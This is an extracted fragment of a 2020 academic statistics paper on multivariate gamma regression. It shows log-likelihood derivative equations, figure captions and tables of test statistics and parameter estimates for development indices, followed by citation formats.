$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ β 01 = ∑ l = 1 n ( ( log ( y l 1 − λ 1 ) ) e β 01 γ ) − ∑ l = 1 n ( ( log ( y l 2 − y l 1 − λ 2 ) ) e β 01 γ ) −$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ β 02 = ∑ l = 1 n ( ( log ( y l 2 − y l 1 − λ 2 ) ) e β 02 γ ) −$
$∑ l = 1 n ( ( log ( y l 3 − y l 2 − λ 3 ) ) e β 02 γ ) − ( Ψ ( e β 02 − e β 01 − λ 2 γ ) ) e β 02 γ − ( − ( Ψ ( e β 03 − e β 02 − λ 3 γ ) ) e β 02 γ ) .$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ β 0 k = ∑ l = 1 n ( ( log ( y l k − y l ( k − 1 ) − λ k ) ) e β 0 k γ ) − ( log γ ) e β 0 k γ −$
$( Ψ ( e β 0 k − e β 0 ( k − 1 ) − λ k γ ) ) e β 0 k γ .$
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Figure 1. The matrix plot of the response and predictor variables.
Figure 1. The matrix plot of the response and predictor variables.
Figure 2. The actual values and the estimated values.
Figure 2. The actual values and the estimated values.
Table 1. Gamma distribution test with Kolmogorov–Smirnov (KS) for $α = 0.05$.
Table 1. Gamma distribution test with Kolmogorov–Smirnov (KS) for $α = 0.05$.
Response$D n$$D ( 0 , 05 )$p-Value
Y10.1180.1240.066
Y20.1070.1240.123
Y30.0650.1240.667
Table 2. Description of data.
Table 2. Description of data.
VariablesMeanSDCoefficient of VariationMinMax
Life expectancy index (Y1)0.8060.0425.2000.6800.890
Education index (Y2)0.6320.07712.2100.4700.850
Expenditure index (Y3)0.7350.0679.1400.6200.960
Percentage of households that have a private toilet (X1)80.2159.71012.10037.82098.010
Net enrollment rate of schooling (X2)63.57910.65016.75034.22089.460
Population density (X3)32984493136.25027819757
Percentage of poor people (X4)9.6234.21143.7501.68021.210
Unemployment rate (X5)5.3372.43045.5301.43012.770
Table 3. Parameter estimation of multivariate gamma regression (MGR) model with a single predictor.
Table 3. Parameter estimation of multivariate gamma regression (MGR) model with a single predictor.
ParameterEstimateStandard Errorzp-Value
$( Y 1 , Y 2 , Y 3 ) ~ X 1$
$β 01$−0.4222840.646166−0.6540.513
$β 11$0.0027580.0079700.3460.729
$β 02$−0.7620381.120002−0.6800.496
$β 12$0.0042970.0166110.2590.796
$β 03$−0.4377650.760203−0.5760.565
$β 13$0.0023390.0112500.2080.835
$( Y 1 , Y 2 , Y 3 ) ~ X 2$
$β 01$−0.3051020.518863−0.5880.557
$β 21$0.0018960.0080760.2350.814
$β 02$−0.8811840.575235−1.5320.126
$β 22$0.0073630.0085630.8600.390
$β 03$−0.4300930.857503−0.5020.616
$β 23$0.0027890.0146850.1900.849
$( Y 1 , Y 2 , Y 3 ) ~ X 3$
$β 01$−0.2051480.000421−486.7160.000 *
$β 31$0.0000020.0000540.0290.977
$β 02$−0.4838980.000262−1846.3530.000 *
$β 32$0.0000200.0000210.9300.352
$β 03$−0.3068200.000209−1465.6980.000 *
$β 33$0.0000160.0000141.1320.258
$( Y 1 , Y 2 , Y 3 ) ~ X 4$
$β 01$−0.1662900.581543−0.2860.775
$β 41$−0.0023070.019731−0.1170.907
$β 02$−0.2380491.200557−0.1980.843
$β 42$−0.0194480.046895−0.4150.678
$β 03$−0.1360181.044931−0.1300.896
$β 43$−0.0124800.035650−0.3500.726
$( Y 1 , Y 2 , Y 3 ) ~ X 5$
$β 01$−0.1688920.555574−0.3040.761
$β 51$−0.0066660.057555−0.1160.908
$β 02$−0.4603890.862713−0.5340.594
$β 52$0.0060200.0923710.0650.948
$β 03$−0.2797630.831607−0.3360.737
$β 53$0.0039740.0400460.0990.921
* Significant at $α = 10 %$.
Table 4. Parameter estimation of MGR model with multiple predictors.
Table 4. Parameter estimation of MGR model with multiple predictors.
ParameterEstimateStandard Errorzp-Value
Life expectancy index (Y1)
$β 01$−0.3534210.000119−2969.3830.000 **
$β 11$0.0020050.0029870.6710.502
$β 21$0.0006530.0034940.1870.852
$β 31$0.0000040.0000290.1240.902
$β 41$−0.0004690.002831−0.1660.868
$β 51$−0.0095020.005252−1.8090.070 **
Education index (Y2)
$β 02$−0.6064080.000120−5069.1560.000 **
$β 12$0.0002070.0038000.0550.956
$β 22$0.0047060.0049520.9500.342
$β 32$0.0000120.0000180.6770.498
$β 42$−0.0117290.004125−2.8430.004 **
$β 52$−0.0111940.006636−1.6870.092 **
Expenditure index (Y3)
$β 03$−0.2740260.000101−2723.5330.000 **
$β 13$0.0007790.0023370.3330.739
$β 23$0.0002980.0026210.1140.910
$β 33$0.0000130.0000140.9430.346
$β 43$−0.0065420.003125−2.0930.036 **
$β 53$−0.0079940.003900−2.0500.040 **
** Significant at $α = 10 %$.
Table 5. The difference in coefficient signs and significance of the parameters in the MGR model.
Table 5. The difference in coefficient signs and significance of the parameters in the MGR model.
Response VariablesPredictor VariablesMGR Modeling
X1X2X3X4X5
Y1X1++
X2+ +
X3+ +
X4
X5− ***
Y2X1++
X2+ +
X3+ +
X4− ***
X5− *** +
Y3X1++
X2+ +
X3+ +
X4− ***
X5− *** +
*** Significant at $α = 10 %$.
## Share and Cite
MDPI and ACS Style
Rahayu, A.; Purhadi; Sutikno; Prastyo, D.D. Multivariate Gamma Regression: Parameter Estimation, Hypothesis Testing, and Its Application. Symmetry 2020, 12, 813. https://doi.org/10.3390/sym12050813
AMA Style
Rahayu A, Purhadi, Sutikno, Prastyo DD. Multivariate Gamma Regression: Parameter Estimation, Hypothesis Testing, and Its Application. Symmetry. 2020; 12(5):813. https://doi.org/10.3390/sym12050813
Chicago/Turabian Style
Rahayu, Anita, Purhadi, Sutikno, and Dedy Dwi Prastyo. 2020. "Multivariate Gamma Regression: Parameter Estimation, Hypothesis Testing, and Its Application" Symmetry 12, no. 5: 813. https://doi.org/10.3390/sym12050813
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